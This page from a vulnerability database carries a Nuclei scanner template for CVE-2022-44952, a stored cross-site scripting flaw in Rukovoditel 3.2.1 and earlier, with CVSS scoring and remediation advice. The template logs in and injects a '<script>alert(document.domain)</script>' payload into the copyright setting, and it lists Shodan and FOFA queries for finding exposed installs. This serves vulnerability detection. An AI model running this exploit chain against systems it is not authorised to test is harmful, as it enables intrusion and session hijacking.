Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-44952
HistoryJul 07, 2023 - 9:38 a.m.

Rukovoditel <= 3.2.1 - Cross Site Scripting

2023-07-0709:38:49
ProjectDiscovery
github.com
1
rukovoditel
cross site scripting
xss
vulnerability
arbitrary
execution
web scripts
html
copyright text field

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

0.056 Low

EPSS

Percentile

93.3%

Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in /index.php?module=configuration/application. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Copyright Text field after clicking "Add".
id: CVE-2022-44952

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in /index.php?module=configuration/application. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Copyright Text field after clicking "Add".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/9
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44952
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44952
    cwe-id: CWE-79
    epss-score: 0.07295
    epss-percentile: 0.93905
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,intrusive

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=configuration/save&redirect_to=configuration/application HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMh2HSjWbM7zJjWOA

        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="form_session_token"

        {{nonce}}
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_NAME]"

        Test
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_SHORT_NAME]"

        test
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="APP_LOGO"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LOGO]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LOGO_URL]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="APP_FAVICON"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_FAVICON]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_COPYRIGHT_NAME]"

        <script>alert(document.domain)</script>
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LANGUAGE]"

        english.php
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_SKIN]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_TIMEZONE]"

        America/New_York
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_ROWS_PER_PAGE]"

        10
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_DATE_FORMAT]"

        m/d/Y
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_DATETIME_FORMAT]"

        m/d/Y H:i
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_NUMBER_FORMAT]"

        2/./*
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_FIRST_DAY_OF_WEEK]"

        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[DROP_DOWN_MENU_ON_HOVER]"

        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[DISABLE_CHECK_FOR_UPDATES]"

        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA--
      - |
        @timeout: 5s
        GET /index.php?module=dashboard/ HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - status_code_4 == 200
          - contains(content_type_4, "text/html")
          - contains(body_4, "<script>alert(document.domain)</script>")
          - contains(body_4, "rukovoditel")
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - id="form_session_token" value="(.*)" type="hidden"
        internal: true
# digest: 490a00463044022075dd10c8952c99d3765de618d4a12b1121e846f8a3f50fdb0a7d81cd182332190220675cefe52e74f4fce21384e4e29d88abbc39992e277077451f596820960ea506:922c64590222798bb761d5b6d8e72950

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

0.056 Low

EPSS

Percentile

93.3%

Related for NUCLEI:CVE-2022-44952